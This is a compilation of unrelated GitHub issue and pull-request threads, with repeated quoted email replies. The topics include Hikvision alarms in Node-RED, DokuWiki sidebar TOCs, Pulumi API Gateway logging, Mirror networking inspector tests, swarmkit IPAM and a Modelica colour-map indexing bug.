Connected but no alerts

Hi, I've installed the package (1.0.25) and configured the node - they are reporting that they are connected to the NVR and I get get the model information back:
Name: Embedded Net DVR
Model: DS-7208HQHI-K1
Firmware: V4.30.101
But no alerts are received. The events are configured to sent to the Notification Centre and email address - they are displaying on the Hik-Connect app without issue - any ideas ?

Hi
There is no need to set anything.
If you’re using the alarm node, you just need to set the channel corresponding to your camera number set in the NVR.
If you dont’t receive any alarm, should check wether your nvr has an option to enable ISAPI connections.

Hi
There is no need to set anything.
If you’re using the alarm node, you just need to set the channel corresponding to your camera number set in the NVR.
If you dont’t receive any alarm, should check wether your nvr has an option to enable ISAPI connections.

ISAPI is enabled - I have added a user to it but do do I need to add that user somewhere else as well?
The node is using the login details to the NVR.
Thanks
Jonathan
On 23 Jan 2021, at 17:36, Supergiovane<EMAIL_ADDRESS>wrote:

Hi
There is no need to set anything.
If you’re using the alarm node, you just need to set the channel corresponding to your camera number set in the NVR.
If you dont’t receive any alarm, should check wether your nvr has an option to enable ISAPI connections.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

ISAPI is enabled - I have added a user to it but do do I need to add that user somewhere else as well?
The node is using the login details to the NVR.
Thanks
Jonathan
On 23 Jan 2021, at 17:36, Supergiovane<EMAIL_ADDRESS>wrote:

Hi
There is no need to set anything.
If you’re using the alarm node, you just need to set the channel corresponding to your camera number set in the NVR.
If you dont’t receive any alarm, should check wether your nvr has an option to enable ISAPI connections.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

Thanks for your help - I thought I would provide some screen shots in case I am missing something.
I presume the alarm IP host does not need to be set to anything?
HikVision:
Node Red:
But no messages out of the nodes when alerts are generated ?
On January 23, 2021 at 5:36 PM, Supergiovane<EMAIL_ADDRESS>wrote:
Hi
There is no need to set anything.
If you’re using the alarm node, you just need to set the channel corresponding to your camera number set in the NVR.
If you dont’t receive any alarm, should check wether your nvr has an option to enable ISAPI connections.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

Thanks for your help - I thought I would provide some screen shots in case I am missing something.
I presume the alarm IP host does not need to be set to anything?
HikVision:
Node Red:
But no messages out of the nodes when alerts are generated ?
On January 23, 2021 at 5:36 PM, Supergiovane<EMAIL_ADDRESS>wrote:
Hi
There is no need to set anything.
If you’re using the alarm node, you just need to set the channel corresponding to your camera number set in the NVR.
If you dont’t receive any alarm, should check wether your nvr has an option to enable ISAPI connections.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

One other thing - I have noticed the nodes move from "Waiting for Alarm" to "Connected" status - what's the difference?
They also seem to temporarily loose connection quite regularly - is this normal ? Both the raspberry pi and the NVR are connected to the same network switch.
On January 23, 2021 at 5:36 PM, Supergiovane<EMAIL_ADDRESS>wrote:
Hi
There is no need to set anything.
If you’re using the alarm node, you just need to set the channel corresponding to your camera number set in the NVR.
If you dont’t receive any alarm, should check wether your nvr has an option to enable ISAPI connections.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

One other thing - I have noticed the nodes move from "Waiting for Alarm" to "Connected" status - what's the difference?
They also seem to temporarily loose connection quite regularly - is this normal ? Both the raspberry pi and the NVR are connected to the same network switch.
On January 23, 2021 at 5:36 PM, Supergiovane<EMAIL_ADDRESS>wrote:
Hi
There is no need to set anything.
If you’re using the alarm node, you just need to set the channel corresponding to your camera number set in the NVR.
If you dont’t receive any alarm, should check wether your nvr has an option to enable ISAPI connections.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

To add - I have timed the loss of connection and it always happens at 40 seconds after connecting - what's the timing on the heartbeat ?
I have yesterday completely resest the NVR to factory default settings.
Sorry - no more emails now !!!
:-)
On January 23, 2021 at 6:19 PM, Jonathan Weightman<EMAIL_ADDRESS>wrote:
One other thing - I have noticed the nodes move from "Waiting for Alarm" to "Connected" status - what's the difference?
They also seem to temporarily loose connection quite regularly - is this normal ? Both the raspberry pi and the NVR are connected to the same network switch.
On January 23, 2021 at 5:36 PM, Supergiovane<EMAIL_ADDRESS>wrote:
Hi
There is no need to set anything.
If you’re using the alarm node, you just need to set the channel corresponding to your camera number set in the NVR.
If you dont’t receive any alarm, should check wether your nvr has an option to enable ISAPI connections.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

To add - I have timed the loss of connection and it always happens at 40 seconds after connecting - what's the timing on the heartbeat ?
I have yesterday completely resest the NVR to factory default settings.
Sorry - no more emails now !!!
:-)
On January 23, 2021 at 6:19 PM, Jonathan Weightman<EMAIL_ADDRESS>wrote:
One other thing - I have noticed the nodes move from "Waiting for Alarm" to "Connected" status - what's the difference?
They also seem to temporarily loose connection quite regularly - is this normal ? Both the raspberry pi and the NVR are connected to the same network switch.
On January 23, 2021 at 5:36 PM, Supergiovane<EMAIL_ADDRESS>wrote:
Hi
There is no need to set anything.
If you’re using the alarm node, you just need to set the channel corresponding to your camera number set in the NVR.
If you dont’t receive any alarm, should check wether your nvr has an option to enable ISAPI connections.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

Hi
Please try to reply directly in gitHub, otherwise is a mess with the quoted text 😉
The NVR probably doesn’t relay the alarms. You need to connect the alarm node directly to the camera, instead of connecting it to the NVR.
Disconnections should not appear in your case. Make sure to have the last node and nodered version. You can write node -v in a command line window, to check the node version. It should be 12.x or above, or better 14.x.

Hi
Please try to reply directly in gitHub, otherwise is a mess with the quoted text 😉
The NVR probably doesn’t relay the alarms. You need to connect the alarm node directly to the camera, instead of connecting it to the NVR.
Disconnections should not appear in your case. Make sure to have the last node and nodered version. You can write node -v in a command line window, to check the node version. It should be 12.x or above, or better 14.x.

Thanks - I have misunderstood then, I thought it would pick up the events triggered in the NVR that are sent to the Hik-Connect app.
The cams are all co-ax not IP so sounds like it will not work - shame.
I'm running Node Red 20.5 but it still disconnects every 40 seconds.
On January 23, 2021 at 7:38 PM, Supergiovane<EMAIL_ADDRESS>wrote:
Hi
Please try to reply directly in gitHub, otherwise is a mess with the quoted text 😉
The NVR probably doesn’t relay the alarms. You need to connect the alarm node directly to the camera, instead of connecting it to the NVR.
Disconnections should not appear in your case. Make sure to have the last node and nodered version. You can write node -v in a command line window, to check the node version. It should be 12.x or above, or better 14.x.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

Thanks - I have misunderstood then, I thought it would pick up the events triggered in the NVR that are sent to the Hik-Connect app.
The cams are all co-ax not IP so sounds like it will not work - shame.
I'm running Node Red 20.5 but it still disconnects every 40 seconds.
On January 23, 2021 at 7:38 PM, Supergiovane<EMAIL_ADDRESS>wrote:
Hi
Please try to reply directly in gitHub, otherwise is a mess with the quoted text 😉
The NVR probably doesn’t relay the alarms. You need to connect the alarm node directly to the camera, instead of connecting it to the NVR.
Disconnections should not appear in your case. Make sure to have the last node and nodered version. You can write node -v in a command line window, to check the node version. It should be 12.x or above, or better 14.x.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

Hi nodered 0.20.5 is very old. You should upgrade it and upgrade node.js as well. Then the disconnection will disappears.
As for the Alarm notifications, i’ve no clue on how an analog nvr works, so i cannot help with that, but for me, if you upgrade node and nodered, you should be able to pick uo the events!

Hi nodered 0.20.5 is very old. You should upgrade it and upgrade node.js as well. Then the disconnection will disappears.
As for the Alarm notifications, i’ve no clue on how an analog nvr works, so i cannot help with that, but for me, if you upgrade node and nodered, you should be able to pick uo the events!

Thanks - I deleted the whole image on the raspberry pi and rebuilt with the latest version on Node Red and it fixed the issue.
Really appreciate your support.

Thanks - I deleted the whole image on the raspberry pi and rebuilt with the latest version on Node Red and it fixed the issue.
Really appreciate your support.


Error with compose file on wiki

The compose example on the wiki has name where it should instead be container_name.
$ docker-compose up -d
ERROR: The Compose file './docker-compose.yml' is invalid because:
Unsupported config option for services.backup: 'name'

$ docker-compose -v
docker-compose version 1.25.0, build unknown

I’ve updated the wiki and double checked the examples under Docker/examples. Thanks for the report.


bug: no spell checking when there's no folder opened

at least on macos, when just opening a file without opening any folders, there's no spell check. After open a folder the spell check goes back; verified with a clean install with just vscode-spell-checker extension and no user settings. can anyone verify? thanks!

I have the same issue here on macos, vscode v.1.18.1

Thank you. I'll investigate.

I hope to publish this fix today.


chore(docs): stackdriver logging limits of 256kb/entry and 10mb/write…

chore(docs): stackdriver logging limits of 256kb/entry and 10mb/write, force compilation before doc script (#531)

[X] Make sure to open an issue as a bug/issue before writing your code!  That way we can discuss the change, evaluate designs, and agree on the general idea
[X] Ensure the tests and linter pass
[X] Code coverage does not decrease (if any source code was changed)
[X] Appropriate docs were updated (if necessary)

Fixes #531 🦕

@zamnuts this looks reasonable to me, but we might want to loop in @alexander-fenster and @xiaozhenliu-gg5, as there are plans soon to move all our libraries to TypeScript generation, and we'll want to make sure that we migrate your comments as well.
@xiaozhenliu-gg5 what are the plans for logging?

@bcoe Logging will be one of the two last libraries to convert (the second one is pubsub).


Automated cherry pick of #4634: huawei image delete bugfix

Cherry pick of #4634 on release/2.14.
#4634: huawei image delete bugfix

Codecov Report

:exclamation: No coverage uploaded for pull request base (release/2.14@1e25efc). Click here to learn what that means.
The diff coverage is n/a.

@@              Coverage Diff               @@
##             release/2.14   #4644   +/-   ##
==============================================
  Coverage                ?   6.87%
==============================================
  Files                   ?     523
  Lines                   ?   88961
  Branches                ?       0
==============================================
  Hits                    ?    6116
  Misses                  ?   82338
  Partials                ?     507

Flag
Coverage Δ

#aFlag
6.87% <ø> (?)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1e25efc...934aff8. Read the comment docs.

/lgtm

/approve


Improving network behaviour inspector

Simplifying
Fixing cases where SyncsAnything was incorrectly false
Adding option to show private sync lists in Inspector
Making Inspector easier to override

Is it possible to break this down into several small PR's?   code reviewing 300 LOC is not fun.

Here are some classes to test Inspector
NetworkBehaviourInspectorTester.cs
using Mirror;
using UnityEngine;
public class NetworkBehaviourInspectorBase : NetworkBehaviour
{
    [SyncVar, SerializeField] private int baseSyncField;
}
public class NetworkBehaviourInspectorTester : NetworkBehaviourInspectorBase
{
    [SerializeField] private int nonSync;
    [Header("header")]
    [SyncVar] public int syncField1;
    [SyncVar] public int syncField2;
    [SyncVar, SerializeField] private TestSyncStruc testSyncStruc;
    [SerializeField] private int nonSync2;
    [Header("header")]
    [SyncVar(), SerializeField] private TestSyncStruc testSyncStrucWithHeader;

    [SyncVar, SerializeField] private int privateSyncField1;
    [SyncVar] private int nonSerializeSyncField; // should not show in inspector
    [SerializeField] private int nonSync3;

    [ShowInInspector] SyncListBool boolList;
    public SyncListInt intList;
    [ShowInInspector] SyncListCustomType customList;
    [ShowInInspector] SyncListCustomTypeWithToString customList2;
    SyncListBool hiddenList; // should not show in inspector

    private void OnEnable()
    {
        boolList.Add(true);
        intList.Add(2);
        intList.Add(3);
        customList.Add(new TestSyncStruc { a = 1, b = 2, c = 3 });
        customList.Add(new TestSyncStruc { a = 10, b = 20, c = 30 });
        customList.Add(new TestSyncStruc { a = 100, b = 20, c = 300 });
        customList2.Add(new TestSyncStrucWithToString { a = 1, b = 2, c = 3 });
        customList2.Add(new TestSyncStrucWithToString { a = 10, b = 20, c = 30 });
        customList2.Add(new TestSyncStrucWithToString { a = 100, b = 20, c = 300 });
        hiddenList.Add(true);
        hiddenList.Add(false);
    }
}

[System.Serializable]
public struct TestSyncStruc
{
    public int a;
    public int b;
    public int c;

}
[System.Serializable]
public struct TestSyncStrucWithToString
{
    public int a;
    public int b;
    public int c;

    public override string ToString()
    {
        return string.Format("{0}, {1}, {2}", a, b, c);
    }
}
public class SyncListCustomType : SyncList<TestSyncStruc>
{

}
public class SyncListCustomTypeWithToString : SyncList<TestSyncStrucWithToString>
{
}
public static class ReadWrite
{
    public static void TestSyncStrucWriter(this NetworkWriter writer, TestSyncStruc v)
    {

    }
    public static TestSyncStruc TestSyncStrucWriter(this NetworkReader reader)
    {
        return new TestSyncStruc();
    }
    public static void TestSyncStrucWriterWithToString(this NetworkWriter writer, TestSyncStrucWithToString v)
    {

    }
    public static TestSyncStrucWithToString TestSyncStrucWriterWithToString(this NetworkReader reader)
    {
        return new TestSyncStrucWithToString();
    }
}

SyncSettingsTester.cs
using Mirror;

public class SyncSettingsTester : NetworkBehaviour
{
    public SyncObjectTest a;
}

[System.Serializable]
public class SyncObjectTest : SyncObject
{
    public int a;
    public int b;
    public int c;

    public SyncObjectTest()
    {
    }

    public bool IsDirty => throw new System.NotImplementedException();

    public void Flush()
    {
        throw new System.NotImplementedException();
    }

    public void OnDeserializeAll(NetworkReader reader)
    {
        throw new System.NotImplementedException();
    }

    public void OnDeserializeDelta(NetworkReader reader)
    {
        throw new System.NotImplementedException();
    }

    public void OnSerializeAll(NetworkWriter writer)
    {
        throw new System.NotImplementedException();
    }

    public void OnSerializeDelta(NetworkWriter writer)
    {
        throw new System.NotImplementedException();
    }
}

See https://github.com/vis2k/Mirror/blob/master/CONTRIBUTING.md
we really dislike large PR's.

Is it possible to break this down into several small PR's? code reviewing 300 LOC is not fun.

I changed a lot in NetworkBehaviourInspector but I can try break in down into smaller PR where possible

Yes please,  for example:  one PR for the synclist,   one PR for simplifying stuff,  one PR for "Fixing cases where SyncsAnything was incorrectly false"

closed as discussed in discord


Tooltips Don't Work on Progress Bars

Hi! I'm working on a JavaScript game using your framework, and I thought using a tooltip to show the numerical value of a progress bar would be a good way to let the user know. Maybe it's just my ineptitude but I can't seem to get it to work. The same code works on a button (though without all of the bootstrap I'm using to facilitate changing the value of the progress bars). I'm using the latest version of Chrome.
Codepen:  http://codepen.io/anon/pen/wgmYLy
If this isn't a feature you were looking to implement, that's fine, I'll find another way!

It doesn't work because you added width: 0% on the progress bar.

Oh, I didn't think of that! Makes sense that that would be it. Thank you!


TOC of namespace start page goes to the top of the sidebar

Hello!
I've noticed that the TOC of a namespace (or the namespace's start/landing page) always gets displayed at the top of the sidebar instead of below the page, even if the page exists in the TOC.
Take the following example. Page One is just a regular page, so its TOC gets displayed right below it, which is ok.

Page Two is a namespace with a landing page created at namespace_one:page_two. Its TOC is displayed at the top of the sidebar, whereas I think it should be below the page name (since it exists in the sidebar).

In addition to this, there is an issue if I create the landing page at namespace_one:page_two instead of namespace_one:page_two:start, as the subpages in this namespace don't get displayed in the sidebar when I'm on namespace_one:page_two. If I navigate to one of these subpages using the sitemap, they get displayed in the sidebar again. I'm not sure if this is an issue with the template or with the indexmenu plugin.

When I create a landing page using :start, for instance namespace_one:page_three:start, the subpages get displayed but the TOC of the landing page is again at the top.

In my sidebar, I have the following:
{{indexmenu>..:#1| nojs navbar msort nsort}}

~~NOCACHE~~

Could the theme be changed so that the TOC is always shown below the page name (when it exists in the sidebar), regardless of whether it is the landing page of a namespace or not? Thank you in advance.

Hello.
Could you give me your test files under dokuwiki/data/pages folder? I want to reproduce the situation on my computer.

Hello,
Sorry for the late reply. I added the files here.
readthedokus_test.zip
Thank you for looking into this.

Thank you for the test data. I’ve found out the reason  why some TOC are not embedded.
The reason being some TOC menu don’t have “data-wiki-id” attribute. This theme rely on the “data-wiki-id” to embed the TOC. So, It couldn't embed if the menu doesn't have "data-wiki-id". The easiest and preferable fix is to ask IndexMenu author to output “data-wiki-id” on every menu item. If that’s not possible… Let me know I’ll try an another way.
Also, I realized the style for Indexmenu of non-JS version was missing. So I added and committed. "re-install" will update your theme.
The second issue,  the subpages in namespace_one:page_two don't get displayed, this also happens in the default dokuwiki theme. So I guess it’s IndexMenu’s default behavior.

Hello! Thank you for looking into this and for the update. I will try to ask the creators of the indexmenu plugin about this.
However, I noted that in their repository the data-wiki-id keyword is never explicitly mentioned.
Do you know if this is a tag added by the indexmenu plugin or rather by Dokuwiki in the sidebar? Because I noticed that if I just add links in the sidebar page they get tagged automatically with data-wiki-id.
Regarding the subpages, this is true, not I see that it also appears in the default template. I can also ask them about this. Thank you!

I looked into IndexMenu source and you are right, data-wiki-id is added by Dokuwiki, not IndexMenu. If a link is not a namespace then it passes the link to the default Dokuwiki function, however if the link is a namespace then it uses the IndexMenu's function which doesn't append data-wiki-id.
So replacing the line in the file "indexmenu/syntax/indexmenu.php" at line 832 with below fixes this bug.
            $ret .= '<a href="'.wl($link, $more).'" class="'.$tagid.'" data-wiki-id="'. $item['hns'] . '">';

I'm closing this issue since the problem should be fixed by @eduardomozart 's pull request. If you still have any problems, then please feel free to reopen this issue.


YAML changes for diagnostic feature

Description
EN-5397
Testing
New YAML:
checks:
  # Arguments common to all checks, like region, namespace, etc.
  arguments:
    global:
      #core services
      core_services: [lightbeam-api-gateway, lb-argo-workflows-server, lightbeam-frontend, kong-proxy, lightbeam-kafka, kafka-ui, lb-kafka-connect, lightbeam-kafka-metrics, lb-keycloak, lightbeam-mongodb-headless, lightbeam-elasticsearch-master, lb-vault, lightbeam-tika-server, lightbeam-presidio-server, lightbeam-text-extraction, lightbeam-text-extraction-non-ocr]
      # Memory utilization services
      services: [lightbeam-api-gateway, lightbeam-frontend, kong-proxy, lightbeam-kafka, kafka-ui, lb-keycloak, lightbeam-mongodb, lightbeam-elasticsearch-master, lb-vault, lightbeam-tika-server, lightbeam-presidio-server, lightbeam-text-extraction, lightbeam-text-extraction-non-ocr]
      matrix:
       namespace: [lightbeam, logging, cert-manager, unskript]
  diagnostic_commands:
    vault_get_service_health:
      - "vault status"
      - "kubectl logs deployment/lb-vault -n lightbeam"
    redis_list_large_keys:
      - "redis-cli --bigkeys"
    k8s_get_pending_pods:
      - "kubectl get pods --field-selector=status.phase=Pending -n lightbeam"
      - "kubectl describe pods --all-namespaces | grep -E 'ImagePullBackOff|ErrImagePull'"
# Info section
info:
  arguments:
    global:
      namespace_to_check_bandwidth: lightbeam
      matrix:
        namespace: [lightbeam, logging, unskript, cert-manager]

Checklist:

[ ] My changes generate no new warnings.
[ ] I have added tests that prove my fix is effective or that my feature works.
[ ] Any dependent changes have been merged and published.

Documentation
Make sure that you have documented corresponding changes in this repository.

Not needed anymore


project organization, 'sort by name'

Coverage decreased (-0.5%) to 94.116% when pulling 75c7477b4e643fb0039dca82f330fb8f82f1c125 on project-organization into 1ca2ac9cd5f263bdaded453715153d2f895674ec on master.

Coverage decreased (-0.5%) to 94.116% when pulling 75c7477b4e643fb0039dca82f330fb8f82f1c125 on project-organization into 1ca2ac9cd5f263bdaded453715153d2f895674ec on master.


Read value of VQ condition

Good morning,
What's the best approach to read the value with is added to the VQ condition? The solutions works but gives an error.
I created a VQ to filter persons where the surname contains some characters (e.g. 'Gen'). The value is stored in the .values but I can't resolve the Typescript errors.
const person = visualQuery.find( c => c.itemTypeIds != undefined && c.itemTypeIds[0] === 'ET5');

if (person != undefined){
  const personProps = person.conditions?.find(c => c.id === 'PER6');
  if (personProps.id === 'PER6' && personProps.operator === 'CONTAINS' && personProps.valueType === 'STRING'){
      const surNameContains = personProps.values[0];
    }
}

I 'fixed' it by replacing the personProps for the code below.
const personProps = (person.conditions?.find(c => c.id === 'PER6')) as {
        id: string;
        operator: string;
        valueType: string;
        values?: string[];
      };

@Jonny-Cornwell-i2  Is there a neater way of doing this  or is Steven's 'Fix' the way to go?


continue - data.json_v0.0.1 component

#4
todo

[x] Update data_json_v0.0.1

@input :package: [data_json_v0.0.1]
[x] move the content from home onto data.json file
[x] move the content from consortium onto data.json file
@output :package: [data_json_v0.0.2] from comment

[x] finalize data.json_v?.?.?

@output ❓ data.json_v?.?.? from comment
next #19 , #34

tasks - 2024.01.18

Update data_json_v0.0.1 - 46min

moved the content from home onto data.json file
moved the content from consortium onto data.json file
Created and logged tasks - 9min
@output 📦 data_json_v0.0.2


How to create CloudWath Logs for Logs/Tracing?

Hello!

Vote on this issue by adding a 👍 reaction
If you want to implement this feature, comment to let us know (we'll work with you on design, scheduling, etc.)

Issue details
I use Pulumi with the Python module pulumi_aws_apigateway to create Lambda function and API Gateway. I would like to enable CloudWatch Logs with "Full Request and Response Logs" for Logs/Tracing. I got errors as follows:
./__main__.py", line 60, in <module>
        stage_log = apigateway.StageLog('alert-stage-log',
    AttributeError: module 'pulumi_aws_apigateway' has no attribute 'StageLog'

As the error states, the module 'pulumi_aws_apigateway' has no attribute 'StageLog'. Is there any another way to connect the API Gateway state to the CloudWatch Log Group? As follows is my code.
import json
import pulumi
import pulumi_aws as aws
from pulumi import export
import pulumi_aws_apigateway as apigateway

IDENTITY_NAME = "alert"

role = aws.iam.Role(
    f"{IDENTITY_NAME}-lambda-role",
    assume_role_policy=json.dumps({
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Principal": { "Service": "lambda.amazonaws.com" },
            "Action": "sts:AssumeRole"
        }]
    })
)

policy = aws.iam.RolePolicy(
    f"{IDENTITY_NAME}-sqs-role-policy",
    role=role.id,
    policy=json.dumps({
        "Version": "2012-10-17",
        "Statement": [{
            "Action": ["logs:*", "cloudwatch:*"],
            "Resource": "*",
            "Effect": "Allow",
        },
        {
            "Action": ["sqs:SendMessage"],
            "Effect": "Allow",
            "Resource": "*"
        }
      ],
    })
    )

f = aws.lambda_.Function(
    "alertlambda",
    runtime="python3.9",
    code=pulumi.AssetArchive({
        ".": pulumi.FileArchive("./handler"),
    }),
    timeout=300,
    handler="handler.handler",
    role=role.arn,
    opts=pulumi.ResourceOptions(depends_on=[policy]),
)

api = apigateway.RestAPI(f"{IDENTITY_NAME}api", stage_name="alert", routes=[
    apigateway.RouteArgs(path="/{proxy+}", method="ANY", event_handler=f),
])

# Create a CloudWatch Log Group
log_group = aws.cloudwatch.LogGroup('alert-log-group', name='/aws/api-gateway/alert-api')

# Connect the API Gateway stage to the CloudWatch Log Group
stage_log = apigateway.StageLog('alert-stage-log',
                                rest_api_id=api.id,
                                stage_name="alert",
                                cloudwatch_log_group_arn=log_group.arn)

pulumi.export('url', api.url)

Affected area/feature

Hi @garyyang6, I apologize for the confusion and the error you encountered regarding enabling logging for your API Gateway. Enabling logging through pulumi_aws_apigateway is not supported, which is why you received the has no attribute 'StageLog' error. The only resource currently supported in this package is RestAPI (documentation).
To assist you further, it would be helpful if you could provide additional details on how you encountered this nonexistent method. Understanding the specific steps or code that led to this error will allow us to investigate and address the issue more effectively.
Regarding a working example, you can adapt the following code snippet to enable logging for your API Gateway:
api_gateway_account = aws.apigateway.Account("example_account",
    cloudwatch_role_arn= log_group.arn
)

This snippet utilizes the Account resource from the pulumi-aws  (https://www.pulumi.com/registry/packages/aws/api-docs/apigateway/account/) to enable logging on the API Gateway Account. By associating the CloudWatch log group ARN (log_group.arn) with the API Gateway Account, you can enable logging for your API Gateway.
Please give this approach a try and let us know if it unblocks you. If you have any further questions or encounter any issues, please don't hesitate to reach out. We're here to help!

Closing due to inactivity


Removing dependancy on remote IPAM driver

swarmkit currently doesnt support remote network drivers (via plugins). But it was dependent on libnetwork's drvregistry which was loading remote IPAM driver by default. This causes https://github.com/docker/docker/issues/23990
The fix is to remove such built-in dependencies in drvregistry and move it to the caller similar to remote network driver.

ping @mrjana

This PR is part 2 of https://github.com/docker/libnetwork/pull/1310 in order to solve https://github.com/docker/docker/issues/23990

LGTM

agent_test.go:100: ready cannot return nil channel

CI failure is unrelated; fixed by #1135.

@mavenugo: Please rebase to fix the CI failure.

[Current coverage][cc-pull] is 55.19%

Merging [#1130][cc-pull] into [master][cc-base-branch] will increase coverage by 0.08%

@@             master      #1130   diff @@
==========================================
  Files            77         77
  Lines         11947      11953     +6
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits           6583       6597    +14
+ Misses         4452       4445     -7
+ Partials        912        911     -1

[][cc-pull]

Powered by Codecov. Last updated by [cea15ba...33377e6][cc-compare]
[cc-base-branch]: https://codecov.io/gh/docker/swarmkit/branch/master?src=pr
[cc-compare]: https://codecov.io/gh/docker/swarmkit/compare/cea15ba479c214463a423c45bde6e28293f4280b...33377e62bee361d0695ef00be4f708d539fc2738
[cc-pull]: https://codecov.io/gh/docker/swarmkit/pull/1130?src=pr

@aaronlehmann done.

LGTM


refactor codes to be compatible with "use scroll l2 trace for super circuit testing in zkevm-circuits" feature

make test-ccc becomes a bit longer than main branch
"avg time each tx" in log

It would be merged with a 2-phase updating, one is dedicated for run-testnet crate and the reset is #249

The run-testnet related updates has been transferred to https://github.com/scroll-tech/mass-testing
So this PR should be closed? @lispc


LB & SD: Internal (Container --> Container)

@mrjana - please include Evan

Considering this done


Building Chat Application with Django Channel

Article checklist
Pre-submission checks

Please ensure that you have only one open topic suggestion (issue) + in-review article (linked pull request) at a time. This will ensure that we complete the review process in a timely manner from inception to publishing

If you have not already, please go over our Resources Page for more tips and tricks on how to improve your overall technical writing so reviews are swifter, increase the chance of a payout and provide more value to our readers.

For first-time contributors and for more details on our submission guidelines, see our Contributing Guidelines.

Formatting and structure checks

[x] Have you used the correct folder and file structure? - see Contribution Guidelines

[x] Is your article properly formatted in Markdown? - see Github Markdown guide

[x] Have you used our preferred heading structure? - H3 (###) and up

[x] Does your article follow any of the suggested structure formats? - see example formats

[x] Is your article over 750 words? - Tool: Wordcounter.net

[x] Is the article you are submitting an in-depth and unique article? Does it go beyond what is in the official docs and what is covered in other blog sites. See these articles as examples.

[x] Does your article provide enough value and detail about your topic? - Articles should be clear, accurate, and fully explained.

[x] Can your article be understood by beginners? - Assume the audience is smart but has no prior exposure to the common terminology in your article.

[x] Have you included a hero image that is 600x400 pixels and have the copyright to use it? - Tools: Pixlr Image Editor for resizing and Unsplash for Creative Commons images

Grammar & plagiarism checks

[x] Have you spellchecked and grammar checked your article? - Tools: Write&Improve - ProWritingAid - Grammarly
[x] Please place your article through a 3rd party plagiarism checker. We suggest using Quetext, this tool is free and has a daily limit. We typically accept articles with 10% or less.
[x] Have you checked your article for readability? - Tool: Hemmingway
[x] Have you added sources for quotes and images that aren't yours?

Technical checks

[x] Are your code snippets properly formatted for syntax highlighting - see Syntax guide
[x] Have you checked your code runs correctly and you've highlighted all necessary dependencies for installation?
[x] Are the software programs and packages you're highlighting in your article up to date, using current versions and not deprecated?

Topic suggestion this closes
This closes #4370

@damikanye please change the article directory name form "Building Chat Application with Django Channels" to "building-chat-application-with-django-channel".

Done @paulodhiambo

Plagiarism checking has been done sir @paulodhiambo.

@paulodhiambo could you compare this PR with https://smazee.com/blog/realtime-chat-app-using-python. I find them quite similar

Most of the code are similar to the above blo
New Scan 11_09 AM Copyleaks Report.pdf
g

@damikanye I close the article as you fix the plagiarism issue, make sure your content is unique. For assistance, don't hesitate to ping me via slack.

I have reviewed it. Thank you for the corrections.
@paulodhiambo
cc: @WanjaMIKE

Plagiarism check done ✅

Hi @damikanye
This is a really good article. However, there are some images missing so the article can't be published as it is currently. Also, I am noticing that as you progress with the article, you find new requirements like docker and django. I'd suggest you add a prerequisites section before you dive into the tutorial as this will help readers get prepared before moving on with the article. Then you can remove comments like Note: you will need docker.
cc: @paulodhiambo please check on the resources as you go on with the review.

Thank you sir @LinusMuema for the notice. I have added the required section and uploaded the images.

jumping on this one

Hi @hectorkambow
Sorry I had already started doing the final review a few mins ago

Just merging right now


scalarToColor algorithm fails

Modified by dietmarw on 29 Mar 2011 17:40 UTC
Dear colleague,
the function call
Modelica.Mechanics.MultiBody.Visualizers.Colors.scalarToColor(scalarToColor(T=331,T_min=273,T_max=320,colorMap={{i,i,i} for i in 1:64})

fails im Dymola 7.4 FD01 and Modelica 3.2
which is caused by the following algorithm (in Modelica.Mechanics.MultiBody.Visualizers.Colors.scalarToColor):
color:=colorMap[integer((size(colorMap, 1) - 1)/(T_max - T_min)*
                           min((max(T,T_min) - T_min), T_max) + 1),:];

I propose the following algorithm instead (less elegant but robust):
color:=colorMap[min(integer(ceil(1/(T_max-T_min)*((size(colorMap, 1)-1)*
    max(T,T_min)+T_max-T_min*size(colorMap, 1)))),size(colorMap, 1)),:];

I attached a script with several test calls.
Best regards,
Andreas

Modified by dietmarw on 29 Mar 2011 16:08 UTC
Dear colleague,
the function call
Modelica.Mechanics.MultiBody.Visualizers.Colors.scalarToColor(scalarToColor(T=331,T_min=273,T_max=320,colorMap={{i,i,i} for i in 1:64})

fails im Dymola 7.4 FD01 and Modelica 3.2
which is caused by the following algorithm:
color:=colorMap[integer((size(colorMap, 1) - 1)/(T_max - T_min)*
                            min((max(T,T_min) - T_min), T_max) + 1),:];

I propose the following algorithm instead (less elegant but robust):
color:=colorMap[min(integer(ceil(1/(T_max-T_min)*((size(colorMap, 1)-1)*
    max(T,T_min)+T_max-T_min*size(colorMap, 1)))),size(colorMap, 1)),:];

I attached a script with several test calls.
Best regards,
Andreas

Reported by andreas.heckmann on 29 Mar 2011 15:00 UTC
Dear colleague,
the function call
Modelica.Mechanics.MultiBody.Visualizers.Colors.scalarToColor(scalarToColor(T=331,T_min=273,T_max=320,colorMap={{i,i,i} for i in 1:64})
fails im Dymola 7.4 FD01 and Modelica 3.2
which is caused by the following algorithm:
color :=colorMap[integer((size(colorMap, 1) - 1)/(T_max - T_min)*
min((max(T,T_min) - T_min), T_max) + 1), :];
I propose the following algorithm instead (less elegant but robust):
color:=colorMap[min(integer(ceil(1/(T_max-T_min)*((size(colorMap, 1)-1)*max(T,T_min)+T_max-T_min*size(colorMap, 1)))),size(colorMap, 1)),:];
I attached a script with several test calls.
Best regards,
Andreas

Migrated-From: https://trac.modelica.org/Modelica/ticket/511

Modified by dietmarw on 29 Mar 2011 16:08 UTC

Modified by dietmarw on 29 Mar 2011 17:40 UTC

Comment by stefanv on 29 Mar 2011 18:50 UTC
It appears that the algorithm isn't properly limiting the upper bound of the array index. I suggest this replacement,
